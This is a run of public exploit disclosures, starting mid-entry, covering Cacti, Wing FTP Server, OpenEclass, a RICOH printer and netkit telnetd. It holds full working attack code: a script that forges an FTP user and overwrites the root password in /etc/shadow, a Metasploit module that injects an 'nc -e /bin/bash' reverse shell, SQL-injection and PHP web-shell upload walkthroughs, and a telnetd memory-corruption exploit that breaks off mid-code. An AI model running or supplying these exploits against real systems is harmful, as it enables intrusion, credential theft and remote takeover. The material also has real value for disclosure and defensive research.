upload the SVG payload file 3. Use the document browser or any dashboard to find the uploaded file 4. Click on the title to go to the detailed page of the file 5. On the right panel, click the _View in browser_ link to trigger the XSS (on load) ### Stored XSS n°3 - Generic file upload / Document viewing - CVE-2020-8778 (found by Romain LOISEL) This is the generic version of the previous XSS. Uploading dangerous file types is allowed and then they can be viewed to triggered the XSS. The difference between the two is that this one requires right access on a project to upload documents so the XSS is not exploitable with a read only account but the previous one can be exploited by any user as any user is allowed to have a profile photo. - Where? Uploading a document anywhere - Payload: any file type that can store and execute a JavaScript payload (eg. HTML, SVG, XML, etc.) - Details: The XSS is triggerred only with the _View in browser_ feature. - Privileges: Any authenticated user with write access to a project can store it and any user that have read access to the file or project can trigger it. - Steps to reproduce: 1. Go to a project dashboard 2. IClick _Upload_ and upload a dangerous file 3. Use the document browser or any dashboard to find the uploaded file 4. Click on the title to go to the detailed page of the file 5. On the right panel, click the _View in browser_ link to trigger the XSS (on load)
  12. # Exploit Title: RICOH Aficio SP 5200S Printer - 'entryNameIn' HTML Injection # Discovery by: Paulina Girón # Discovery Date: 2020-03-02 # Vendor Homepage: https://www.ricoh.com/ # Hardware Link: http://support.ricoh.com/bb/html/dr_ut_e/re2/model/sp52s/sp52s.htm # Product Version: RICOH Aficio SP 5200S Printer # Vulnerability Type: Code Injection - HTML Injection # Steps to Produce the HTML Injection: #1.- HTTP POST Request 'adrsGetUser.cgi': POST /web/entry/es/address/adrsGetUser.cgi HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 447 Cache-Control: max-age=0 Origin: http://xxx.xxx.xxx.xxx Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://xxx.xxx.xxx.xxx/web/entry/es/address/adrsList.cgi Accept-Encoding: gzip, deflate Accept-Language: es-ES,es;q=0.9 Cookie: risessionid=059501971327590; cookieOnOffChecker=on; wimsesid=110507639 Connection: close mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=1&searchSpecifyModeIn=&outputSpecifyModeIn=DEFAULT&entryIndexIn=&entryNameIn=&entryFilterIn=ALL_O&searchItemIn=SEARCH_INDEX_O&searchDataIn=&pages=&listCountIn=10&totalCount=13&offset=0&00001=ADRS_ENTRY_USER&00002=ADRS_ENTRY_USER&00003=ADRS_ENTRY_USER&00004=ADRS_ENTRY_USER&00005=ADRS_ENTRY_USER&00006=ADRS_ENTRY_USER&00007=ADRS_ENTRY_USER&00008=ADRS_ENTRY_USER&00009=ADRS_ENTRY_USER&00010=ADRS_ENTRY_USER #HTTP Response : HTTP/1.0 200 OK Date: Mon, 02 Mar 2020 15:15:59 GMT Server: Web-Server/3.0 Content-Type: text/html; charset=UTF-8 Expires: Mon, 02 Mar 2020 15:15:59 GMT Pragma: no-cache Cache-Control: no-cache Set-Cookie: cookieOnOffChecker=on; path=/ Connection: close #2.- HTTP POST Request 'adrsSetUser.cgi': POST /web/entry/es/address/adrsSetUser.cgi HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 611 Cache-Control: max-age=0 Origin: http://xxx.xxx.xxx.xxx Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://xxx.xxx.xxx.xxx/web/entry/es/address/adrsGetUser.cgi Accept-Encoding: gzip, deflate Accept-Language: es-ES,es;q=0.9 Cookie: risessionid=059501971327590; cookieOnOffChecker=on; wimsesid=110507639 Connection: close mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=&searchSpecifyModeIn=&outputSpecifyModeIn=&inputSpecifyModeIn=WRITE&wayFrom=adrsGetUser.cgi%3FoutputSpecifyModeIn%3DSETTINGS&wayTo=adrsList.cgi%3FsearchSpecifyModeIn%3DNONE&isSelfPasswordEditMode=false&entryIndexIn=00012&entryNameIn=prueba&entryDisplayNameIn=prueba&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&userCodeIn=&smtpAuthAccountIn=AUTH_SYSTEM_O&folderAuthAccountIn=AUTH_SYSTEM_O&ldapAuthAccountIn=AUTH_SYSTEM_O&entryUseIn=ENTRYUSE_TO_O&faxDestIn=&mailAddressIn=&isCertificateExist=false&folderProtocolIn=SMB_O&folderPathNameIn= #HTTP Response : HTTP/1.0 200 OK Date: Mon, 02 Mar 2020 15:17:10 GMT Server: Web-Server/3.0 Content-Type: text/html; charset=UTF-8 Expires: Mon, 02 Mar 2020 15:17:10 GMT Pragma: no-cache Cache-Control: no-cache Set-Cookie: cookieOnOffChecker=on; path=/ Connection: close
  13. # Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation # Google Dork: intitle:"Wing FTP Server - Web" # Date: 2020-03-02 # Exploit Author: Cary Hooper # Vendor Homepage: https://www.wftpserver.com # Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz # Version: v6.2.3 # Tested on: Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 (x86) # Given SSH access to a target machine with Wing FTP Server installed, this program: # - SSH in, forges a FTP user account with full permissions (CVE-2020-8635) # - Logs in to HTTP interface and then edits /etc/shadow (resulting in CVE-2020-8634) # Each step can all be done manually with any kind of code execution on target (no SSH) # To setup, start SSH service, then run ./wftpserver. Wing FTP services will start after a domain is created. # https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php (writeup) #!/usr/bin/python3 #python3 cve-2020-8635.py -t 192.168.0.2:2222 -u lowleveluser -p demo --proxy http://127.0.0.1:8080 import paramiko,sys,warnings,requests,re,time,argparse #Python warnings are the worst warnings.filterwarnings("ignore") #Argument handling begins parser = argparse.ArgumentParser(description="Exploit for Wing FTP Server v6.2.3 Local Privilege Escalation",epilog=print(f"Exploit by @nopantrootdance.")) parser.add_argument("-t", "--target", help="hostname of target, optionally with port specified (hostname:port)",required=True) parser.add_argument("-u", "--username", help="SSH username", required=True) parser.add_argument("-p", "--password", help="SSH password", required=True) parser.add_argument("-v", "--verbose", help="Turn on debug information", action='store_true') parser.add_argument("--proxy", help="Send HTTP through a proxy",default=False) args = parser.parse_args() #Global Variables global username global password global proxies global port global hostname global DEBUG username = args.username password = args.password #Turn on debug statements if args.verbose: DEBUG = True else: DEBUG = False #Handle nonstandard SSH port if ':' in args.target: socket = args.target.split(':') hostname = socket[0] port = socket[1] else: hostname = args.target port = "22" #Prepare proxy dict (for Python requests) if args.proxy: if ("http://" not in args.proxy) and ("https://" not in args.proxy): print(f"[!] Invalid proxy. Proxy must have http:// or https:// {proxy}") sys.exit(1) proxies = {'http':args.proxy,'https':args.proxy} else: proxies = {} #Argument handling ends #This is what a <username>.xml file looks like. #Gives full permission to user (h00p:h00p) for entire filesystem '/'. #Located in $_WFTPROOT/Data/Users/ evilUserXML = """<?xml version="1.0" ?> <USER_ACCOUNTS Description="Wing FTP Server User Accounts"> <USER> <UserName>h00p</UserName> <EnableAccount>1</EnableAccount> <EnablePassword>1</EnablePassword> <Password>d28f47c0483d392ca2713fe7e6f54089</Password> <ProtocolType>63</ProtocolType> <EnableExpire>0</EnableExpire> <ExpireTime>2020-02-25 18:27:07</ExpireTime> <MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession> <MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession> <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser> <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser> <SessionNoCommandTimeOut>5</SessionNoCommandTimeOut> <SessionNoTransferTimeOut>5</SessionNoTransferTimeOut> <MaxConnection>0</MaxConnection> <ConnectionPerIp>0</ConnectionPerIp> <PasswordLength>0</PasswordLength> <ShowHiddenFile>0</ShowHiddenFile> <CanChangePassword>0</CanChangePassword> <CanSendMessageToServer>0</CanSendMessageToServer> <EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth> <SSHPublicKeyPath></SSHPublicKeyPath> <SSHAuthMethod>0</SSHAuthMethod> <EnableWeblink>1</EnableWeblink> <EnableUplink>1</EnableUplink> <CurrentCredit>0</CurrentCredit> <RatioDownload>1</RatioDownload> <RatioUpload>1</RatioUpload> <RatioCountMethod>0</RatioCountMethod> <EnableRatio>0</EnableRatio> <MaxQuota>0</MaxQuota> <CurrentQuota>0</CurrentQuota> <EnableQuota>0</EnableQuota> <NotesName></NotesName> <NotesAddress></NotesAddress> <NotesZipCode></NotesZipCode> <NotesPhone></NotesPhone> <NotesFax></NotesFax> <NotesEmail></NotesEmail> <NotesMemo></NotesMemo> <EnableUploadLimit>0</EnableUploadLimit> <CurLimitUploadSize>0</CurLimitUploadSize> <MaxLimitUploadSize>0</MaxLimitUploadSize> <EnableDownloadLimit>0</EnableDownloadLimit> <CurLimitDownloadLimit>0</CurLimitDownloadLimit> <MaxLimitDownloadLimit>0</MaxLimitDownloadLimit> <LimitResetType>0</LimitResetType> <LimitResetTime>1580092048</LimitResetTime> <TotalReceivedBytes>0</TotalReceivedBytes> <TotalSentBytes>0</TotalSentBytes> <LoginCount>0</LoginCount> <FileDownload>0</FileDownload> <FileUpload>0</FileUpload> <FailedDownload>0</FailedDownload> <FailedUpload>0</FailedUpload> <LastLoginIp></LastLoginIp> <LastLoginTime>2020-01-26 18:27:28</LastLoginTime> <EnableSchedule>0</EnableSchedule> <Folder> <Path>/</Path> <Alias>/</Alias> <Home_Dir>1</Home_Dir> <File_Read>1</File_Read> <File_Write>1</File_Write> <File_Append>1</File_Append> <File_Delete>1</File_Delete> <Directory_List>1</Directory_List> <Directory_Rename>1</Directory_Rename> <Directory_Make>1</Directory_Make> <Directory_Delete>1</Directory_Delete> <File_Rename>1</File_Rename> <Zip_File>1</Zip_File> <Unzip_File>1</Unzip_File> </Folder> </USER> </USER_ACCOUNTS> """ #Verbosity function. def log(string): if DEBUG != False: print(string) #Checks to see which URL is hosting Wing FTP #Returns a URL, probably. HTTPS preferred. empty url is checked in main() def checkHTTP(hostname): protocols= ["http://","https://"] for protocol in protocols: try: log(f"Testing HTTP service {protocol}{hostname}") response = requests.get(protocol + hostname, verify=False, proxies=proxies) try: #Server: Wing FTP Server if "Wing FTP Server" in response.headers['Server']: print(f"[!] Wing FTP Server found at {protocol}{hostname}") url = protocol + hostname except: print("") except Exception as e: print(f"[*] Server is not running Wing FTP web services on {protocol}: {e}") return url #Log in to the HTTP interface. Returns cookie def getCookie(url,webuser,webpass,headers): log("getCookie") loginURL = f"{url}/loginok.html" data = {"username": webuser, "password": webpass, "username_val": webuser, "remember": "true", "password_val": webpass, "submit_btn": " Login "} response = requests.post(loginURL, headers=headers, data=data, verify=False, proxies=proxies) ftpCookie = response.headers['Set-Cookie'].split(';')[0] print(f"[!] Successfully logged in! Cookie is {ftpCookie}") cookies = {"UID":ftpCookie.split('=')[1]} log("return getCookie") return cookies #Change directory within the web interface. #The actual POST request changes state. We keep track of that state in the returned directorymem array. def chDir(url,directory,headers,cookies,directorymem): log("chDir") data = {"dir": directory} print(f"[*] Changing directory to {directory}") chdirURL = f"{url}/chdir.html" requests.post(chdirURL, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies) log(f"Directorymem is nonempty. --> {directorymem}") log("return chDir") directorymem = directorymem + "|" + directory return directorymem #The application has a silly way of keeping track of paths. #This function returns the current path as dirstring. def prepareStupidDirectoryString(directorymem,delimiter): log("prepareStupidDirectoryString") dirstring = "" directoryarray = directorymem.split('|') log(f"directoryarray is {directoryarray}") for item in directoryarray: if item != "": dirstring += delimiter + item log("return prepareStupidDirectoryString") return dirstring #Downloads a given file from the server. By default, it runs as root. #Returns the content of the file as a string. def downloadFile(file,url,headers,cookies,directorymem): log("downloadFile") print(f"[*] Downloading the {file} file...") dirstring = prepareStupidDirectoryString(directorymem,"$2f") #Why wouldn't you URL-encode?! log(f"directorymem is {directorymem} and dirstring is {dirstring}") editURL = f"{url}/editor.html?dir={dirstring}&filename={file}&r=0.88304407485768" response = requests.get(editURL, cookies=cookies, verify=False, proxies=proxies) filecontent = re.findall(r'<textarea id="textedit" style="height:520px; width:100%;">(.*?)</textarea>',response.text,re.DOTALL)[0] log(f"downloaded file is: {filecontent}") log("return downloadFile") return filecontent,editURL #Saves a given file to the server (or overwrites one). By default it saves a file with #644 permission owned by root. def saveFile(newfilecontent,file,url,headers,cookies,referer,directorymem): log("saveFile") log(f"Directorymem is {directorymem}") saveURL = f"{url}/savefile.html" headers = {"Content-Type": "text/plain;charset=UTF-8", "Referer": referer} dirstring = prepareStupidDirectoryString(directorymem,"/") log(f"Stupid Directory string is {dirstring}") data = {"charcode": "0", "dir": dirstring, "filename": file, "filecontent": newfilecontent} requests.post(saveURL, headers=headers, cookies=cookies, data=data, verify=False) log("return saveFile") #Other methods may be more stable, but this works. #"You can't argue with a root shell" - FX #Let me know if you know of other ways to increase privilege by overwriting or creating files. Another way is to overwrite #the Wing FTP admin file, then leverage the lua interpreter in the administrative interface which runs as root (YMMV). #Mind that in this version of Wing FTP, files will be saved with umask 111. This makes changing /etc/sudoers infeasible. #This routine overwrites the shadow file def overwriteShadow(url): log("overwriteShadow") headers = {"Content-Type": "application/x-www-form-urlencoded"} #Grab cookie from server. cookies = getCookie(url=url,webuser="h00p",webpass="h00p",headers=headers) #Chdir a few times, starting in the user's home directory until we arrive at the target folder directorymem = chDir(url=url,directory="etc",headers=headers,cookies=cookies,directorymem="") #Download the target file. shadowfile,referer = downloadFile(file="shadow",url=url,headers=headers,cookies=cookies,directorymem=directorymem) # openssl passwd -1 -salt h00ph00p h00ph00p rootpass = "$1$h00ph00p$0cUgaHnnAEvQcbS6PCMVM0" rootpass = "root:" + rootpass + ":18273:0:99999:7:::" #Create new shadow file with different root password & save newshadow = re.sub("root(.*):::",rootpass,shadowfile) print("[*] Swapped the password hash...") saveFile(newfilecontent=newshadow,file="shadow",url=url,headers=headers,cookies=cookies,referer=referer,directorymem=directorymem) print("[*] Saved the forged shadow file...") log("exit overwriteShadow") def main(): log("main") try: #Create ssh connection to target with paramiko client = paramiko.SSHClient() client.load_system_host_keys() client.set_missing_host_key_policy(paramiko.WarningPolicy) try: client.connect(hostname, port=port, username=username, password=password) except: print(f"Failed to connect to {hostname}:{port} as user {username}.") #Find wftpserver directory print(f"[*] Searching for Wing FTP root directory. (this may take a few seconds...)") stdin, stdout, stderr = client.exec_command("find / -type f -name 'wftpserver'") wftpDir = stdout.read().decode("utf-8").split('\n')[0].rsplit('/',1)[0] print(f"[!] Found Wing FTP directory: {wftpDir}") #Find name of <domain> stdin, stdout, stderr = client.exec_command(f"find {wftpDir}/Data/ -type d -maxdepth 1") lsresult = stdout.read().decode("utf-8").split('\n') #Checking if wftpserver is actually configured. If you're using this script, it probably is. print(f"[*] Determining if the server has been configured.") domains = [] for item in lsresult[:-1]: item = item.rsplit('/',1)[1] if item !="_ADMINISTRATOR" and item != "": domains.append(item) print(f"[!] Success. {len(domains)} domain(s) found! Choosing the first: {item}") domain = domains[0] #Check if the users folder exists userpath = wftpDir + "/Data/" + domain print(f"[*] Checking if users exist.") stdin, stdout, stderr = client.exec_command(f"file {userpath}/users") if "No such file or directory" in stdout.read().decode("utf-8"): print(f"[*] Users directory does not exist. Creating folder /users") #Create users folder stdin, stdout, stderr = client.exec_command(f"mkdir {userpath}/users") #Create user.xml file print("[*] Forging evil user (h00p:h00p).") stdin, stdout, stderr = client.exec_command(f"echo '{evilUserXML}' > {userpath}/users/h00p.xml") #Now we can log into the FTP web app with h00p:h00p url = checkHTTP(hostname) #Check that url isn't an empty string (and that its a valid URL) if "http" not in url: print(f"[!] Exiting... cannot access web interface.") sys.exit(1) #overwrite root password try: overwriteShadow(url) print(f"[!] Overwrote root password to h00ph00p.") except Exception as e: print(f"[!] Error: cannot overwrite /etc/shadow: {e}") #Check to make sure the exploit worked. stdin, stdout, stderr = client.exec_command("cat /etc/shadow | grep root") out = stdout.read().decode('utf-8') err = stderr.read().decode('utf-8') log(f"STDOUT - {out}") log(f"STDERR - {err}") if "root:$1$h00p" in out: print(f"[*] Success! The root password has been successfully changed.") print(f"\n\tssh {username}@{hostname} -p{port}") print(f"\tThen: su root (password is h00ph00p)") else: print(f"[!] Something went wrong... SSH in to manually check /etc/shadow. Permissions may have been changed to 666.") log("exit prepareServer") finally: client.close() main()
  14. # Exploit Title: Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit) # Date: 2020-02-29 # Exploit Author: Lucas Amorim (sh286)s # CVE: CVE-2020-8813 # Vendor Homepage: https://cacti.net/ # Version: v1.2.8 # Tested on: Linux ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Cacti v1.2.8 Unauthenticated Remote Code Execution', 'Description' => %q{graph_realtime.php in Cacti 1.2.8 allows remote attackers to execute arbitrary OS commands via shell metacharacters in a cookie, if a guest user has the graph real-time privilege.}, 'Author' => [ 'Lucas Amorim ' # MSF module ], 'License' => MSF_LICENSE, 'Platform' => 'php', 'References' => [ ['CVE', '2020-8813'] ], 'DisclosureDate' => 'Feb 21 2020', 'Privileged' => true, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'SSL' => true, }, 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptString.new('RPATH', [ false, "path to cacti", "" ]) ]) deregister_options('VHOST') end def check res = send_request_raw( 'method' => 'GET', 'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init" ) if res && res.code == 200 return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def send_payload() exec_payload=(";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % [datastore['LHOST'], datastore['LPORT']]) send_request_raw( 'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init", 'method' => 'GET', 'cookie' => "Cacti=#{Rex::Text.uri_encode(exec_payload, mode = 'hex-normal')}" ) end def exploit if check == Exploit::CheckCode::Vulnerable print_good("Target seems to be a vulnerable") send_payload() else print_error("Target does not seem to be vulnerable. Will exit now...") end end end
  15. # Exploit Title: GUnet OpenEclass 1.7.3 E-learning platform - 'month' SQL Injection # Google Dork: intext:"© GUnet 2003-2007" # Date: 2020-03-02 # Exploit Author: emaragkos # Vendor Homepage: https://www.openeclass.org/ # Software Link: http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz # Version: 1.7.3 (2007) # Tested on: Ubuntu 12 (Apache 2.2.22, PHP 5.3.10, MySQL 5.5.38) # CVE : - Older versions are also vulnerable. Source code: http://download.openeclass.org/files/1.7/eclass-1.7.3.zip http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz Setup instructions: http://download.openeclass.org/files/docs/1.7/Install.pdf Changelog: https://download.openeclass.org/files/docs/1.7/CHANGES.txt Manual: https://download.openeclass.org/files/docs/1.7/eClass.pdf ############################################################################ Unauthenticated Information Disclosure System info 127.0.0.1/modules/admin/sysinfo (powered by phpSysInfo 2.0 that is also vulnerable) Web-App version info 127.0.0.1/README.txt 127.0.0.1/info/about.php 127.0.0.1/upgrade/CHANGES.txt ############################################################################ (Authenticated - Requires student account) - Error-Based SQLi https://127.0.0.1/modules/agenda/myagenda.php?month=3&year=2020 sqlmap -u "https://127.0.0.1/modules/agenda/myagenda.php?month=2&year=2020" --batch --dump --- Parameter: month (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: month=5' AND (SELECT 9183 FROM(SELECT COUNT(*),CONCAT(0x7170717671,(SELECT (ELT(9183=9183,1))),0x716b706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Hztw&year=2020' --- Almost every parameter will be either error-based, boolean-based or time-based vulnerable. If you have a student account I recommend using this error-based SQLi because you will get all the database content really faster. If you dont have an account use the following exploit that exploits an unauthenticated time-based blind injection. It will definately be a slower proccess but you will get the administrator account pretty fast and move on with exploiting other authenticated vulnerabilities. https://www.exploit-db.com/exploits/48106 ############################################################################ (Authenticated - Requires student account) - PHP upload file extension bypass If you have a student account you can bypass file extension restrictions and upload a PHP shell. Register as user if the application is configured to allow registrations or use an SQLi to find an account that already exists. Start looking for a class that you can submit an exercise as a student. Register in that class and navigate to submit you exercise. If you try to upload a .php file it will be renamed to .phps to prevent execution. You can upload your PHP shell by spoofing the extension simply by renaming your .php file to .php3 or .PhP Once you have uploaded it, open your course directory and then add "work" directory at the end Course link example: https://127.0.0.1/courses/CS101/ Course link becomes: https://127.0.0.1/courses/CS101/work/ Directory listing will most likely be enabled by default and you will be able to view the directories. Your shell will be in one of the multiple random alphanumeric directories that look like this /4a0c01h2nad9b/ Final shell link will look like this: https://127.0.0.1/courses/CS101/work/4a0c01h2nad9b/shell.php3 The same method works with "groups" if you cant find a class that supports submitting an exercise. https://127.0.0.1/modules/group/group.php ############################################################################ (Authenticated - Requires student account) - View assessments of other students If you have a student account you can view uploaded assessments from other students before or after the deadline that the professor has set. Find the course link you are interested in. https://127.0.0.1/courses/CS101 Add "work" directory at the end https://127.0.0.1/courses/CS101/work/ Directory listing will most likely be enabled by default and you will be able to view and download other students' uploaded assessments. ############################################################################ (Authenticated - Requires admin account) - Upload PHP files You have to login to the platform as an administrator or user with admin rights. You can grab the administrator credentials as plaintext with an Unauthenticated Blind SQL Injection using the following exploit https://www.exploit-db.com/exploits/48106 or use the authenticated SQLi for faster results. Once you have logged in as admin: 1) Navigate to 127.0.0.1/modules/course_info/restore_course.php 2) Upload your .php shell compressed in a .zip file 3) Ignore the error message 4) Your PHP file is now uploaded to 127.0.0.1/cources/tmpUnzipping/[your-shell-name].php ############################################################################ (Authenticated - Requires admin account) - phpMyAdmin Remote Access 127.0.0.1/modules/admin/mysql phpMyAdmin 2.10.0.2 is installed by default and allows remote logins Once you have uploaded your shell can view the config.php file that contains the mysql password 127.0.0.1/config/config.php ############################################################################ (Authenticated - Requires admin account) - Plaintext password storage When logged in as admin you can view all registered users credentials as plaintext. 127.0.0.1/modules/admin/listusers.php
  16. #!/usr/bin/env python3 # # BraveStarr # ========== # # Proof of Concept remote exploit against Fedora 31 netkit-telnet-0.17 telnetd. # # This is for demonstration purposes only. It has by no means been engineered # to be reliable: 0xff bytes in addresses and inputs are not handled, and a lot # of other constraints are not validated. # # AppGate (C) 2020 / Ronald Huizer / @ronaldhuizer # import argparse import base64 import fcntl import gzip import socket import struct import sys import termios import time class BraveStarr(object): SE = 240 # 0xf0 DM = 242 # 0xf2 AO = 245 # 0xf5 SB = 250 # 0xfa WILL = 251 # 0xfb WONT = 252 # 0xfc DO = 253 # 0xfd IAC = 255 # 0xff TELOPT_STATUS = 5 TELOPT_TTYPE = 24 TELOPT_NAWS = 31 TELOPT_TSPEED = 32 TELOPT_XDISPLOC = 35 TELOPT_ENVIRON = 39 TELQUAL_IS = 0 TELQUAL_SEND = 1 TELQUAL_INFO = 2 NETIBUF_SIZE = 8192 NETOBUF_SIZE = 8192 # Data segment offsets of interesting variables relative to `netibuf'. netibuf_deltas = { 'loginprg': -34952, 'state_rcsid': -34880, 'subpointer': -34816, 'ptyslavefd': -34488, 'environ': -33408, 'state': -33268, 'LastArgv': -26816, 'Argv': -26808, 'remote_host_name': -26752, 'pbackp': -9232, 'nbackp': 8192 } def __init__(self, host, port=23, timeout=5, callback_host=None): self.host = host self.port = port self.sd = None self.timeout = timeout self.leak_marker = b"MARKER|MARKER" self.addresses = {} self.values = {} if callback_host is not None: self.chost = bytes(callback_host, 'ascii') def fatal(self, msg): print(msg, file=sys.stderr) sys.exit(1) def connect(self): self.sd = socket.create_connection((self.host, self.port)) # Try to ensure the remote side will read a full 8191 bytes for # `netobuf_fill' to work properly. self.sd.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 8191) def address_delta(self, name1, name2): return self.addresses[name1] - self.addresses[name2] def address_serialize(self, name): return struct.pack("<Q", self.addresses[name]) def ao(self): return b"%c%c" % (self.IAC, self.AO) def do(self, cmd): return b"%c%c%c" % (self.IAC, self.DO, cmd) def sb(self): return b"%c%c" % (self.IAC, self.SB) def se(self): return b"%c%c" % (self.IAC, self.SE) def will(self, cmd): return b"%c%c%c" % (self.IAC, self.WILL, cmd) def wont(self, cmd): return b"%c%c%c" % (self.IAC, self.WONT, cmd) def tx_flush(self): while self.tx_len() != 0: time.sleep(0.2) def tx_len(self): data = fcntl.ioctl(self.sd, termios.TIOCOUTQ, " ") return struct.unpack('i', data)[0] def netobuf_fill(self, delta): # This populates the prefix of `netobuf' with IAC WONT SB triplets. # This is not relevant now, but during the next time data is sent and # `netobuf' will be reprocessed in `netclear' will calls `nextitem'. # The `nextitem' function will overindex past `nfrontp' and use these # triplets in the processing logic. s = self.do(self.SB) * delta # IAC AO will cause netkit-telnetd to add IAC DM to `netobuf' and set # `neturg' to the DM byte in `netobuf'. s += self.ao() # In this request, every byte in `netibuf' will store a byte in # `netobuf'. Here we ensure that all `netobuf' space is filled except # for the last byte. s += self.ao() * (3 - (self.NETOBUF_SIZE - len(s) - 1) % 3) # We fill `netobuf' with the IAC DO IAC pattern. The last IAC DO IAC # triplet will write IAC to the last free byte of `netobuf'. After # this `netflush' will be called, and the DO IAC bytes will be written # to the beginning of the now empty `netobuf'. s += self.do(self.IAC) * ((self.NETOBUF_SIZE - len(s)) // 3) # Send it out. This should be read in a single read(..., 8191) call on # the remote side. We should probably tune the TCP MSS for this. self.sd.sendall(s) # We need to ensure this is written to the remote now. This is a bit # of a kludge, as the remote can perfectly well still merge the # separate packets into a single read(). This is less likely as the # time delay increases. To do this properly we'd need to statefully # match the responses to what we send. Alack, this is a PoC. self.tx_flush() def reset_and_sync(self): # After triggering the bug, we want to ensure that nbackp = nfrontp = # netobuf We can do so by getting netflush() called, and an easy way to # accomplish this is using the TELOPT_STATUS suboption, which will end # with a netflush. self.telopt_status() # We resynchronize on the output we receive by loosely scanning if the # TELOPT_STATUS option is there. This is not a reliable way to do # things. Alack, this is a PoC. s = b"" status = b"%s%c" % (self.sb(), self.TELOPT_STATUS) while status not in s and not s.endswith(self.se()): s += self.sd.recv(self.NETOBUF_SIZE) def telopt_status(self, mode=None): if mode is None: mode = self.TELQUAL_SEND s = b"%s%c%c%s" % (self.sb(), self.TELOPT_STATUS, mode, self.se()) self.sd.sendall(self.do(self.TELOPT_STATUS)) self.sd.sendall(s) def trigger(self, delta, prefix=b"", suffix=b""): assert b"\xff" not in prefix assert b"\xff" not in suffix s = prefix # Add a literal b"\xff\xf0" to `netibuf'. This will terminate the # `nextitem' scanning for IAC SB sequences. s += self.se() s += self.do(self.IAC) * delta # IAC AO will force a call to `netclear'. s += self.ao() s += suffix self.sd.sendall(s) def infoleak(self): # We use a delta that creates a SB/SE item delta = 512 self.netobuf_fill(delta) self.trigger(delta, self.leak_marker) s = b"" self.sd.settimeout(self.timeout) while self.leak_marker not in s: try: ret = self.sd.recv(8192) except socket.timeout: self.fatal('infoleak unsuccessful.') if ret == b"": self.fatal('infoleak unsuccessful.') s += ret return s def infoleak_analyze(self, s): m = s.rindex(self.leak_marker) s = s[:m-20] # Cut 20 bytes of padding off too. # Layout will depend on build. This works on Fedora 31. self.values['net'] = struct.unpack("<I", s[-4:])[0] self.values['neturg'] = struct.unpack("<Q", s[-12:-4])[0] self.values['pfrontp'] = struct.unpack("<Q", s[-20:-12])[0] self.values['netip'] = struct.unpack("<Q", s[-28:-20])[0] # Resolve Fedora 31 specific addresses. self.addresses['netibuf'] = (self.values['netip'] & ~4095) + 0x980 adjustment = len(max(self.netibuf_deltas, key=len)) for k, v in self.netibuf_deltas.items(): self.addresses[k] = self.addresses['netibuf'] + v def _scratch_build(self, cmd, argv, envp): # We use `state_rcsid' as the scratch memory area. As this area is # fairly small, the bytes after it on the data segment will likely # also be used. Nothing harmful is contained here for a while, so # this is okay. scratchpad = self.addresses['state_rcsid'] exec_stub = b"/bin/bash" rcsid = b"" data_offset = (len(argv) + len(envp) + 2) * 8 # First we populate all argv pointers into the scratchpad. argv_address = scratchpad for arg in argv: rcsid += struct.pack("<Q", scratchpad + data_offset) data_offset += len(arg) + 1 rcsid += struct.pack("<Q", 0) # Next we populate all envp pointers into the scratchpad. envp_address = scratchpad + len(rcsid) for env in envp: rcsid += struct.pack("<Q", scratchpad + data_offset) data_offset += len(env) + 1 rcsid += struct.pack("<Q", 0) # Now handle the argv strings. for arg in argv: rcsid += arg + b'\0' # And the environment strings. for env in envp: rcsid += env + b'\0' # Finally the execution stub command is stored here. stub_address = scratchpad + len(rcsid) rcsid += exec_stub + b"\0" return (rcsid, argv_address, envp_address, stub_address) def _fill_area(self, name1, name2, d): return b"\0" * (self.address_delta(name1, name2) - d) def exploit(self, cmd): env_user = b"USER=" + cmd rcsid, argv, envp, stub = self._scratch_build(cmd, [b"bravestarr"], [env_user]) # The initial exploitation vector: this overwrite the area after # `netobuf' with updated pointers values to overwrite `loginprg' v = struct.pack("<Q", self.addresses['netibuf']) # netip v += struct.pack("<Q", self.addresses['loginprg']) # pfrontp v += struct.pack("<Q", 0) # neturg v += struct.pack("<I", self.values['net']) # net v = v.ljust(48, b'\0') # padding 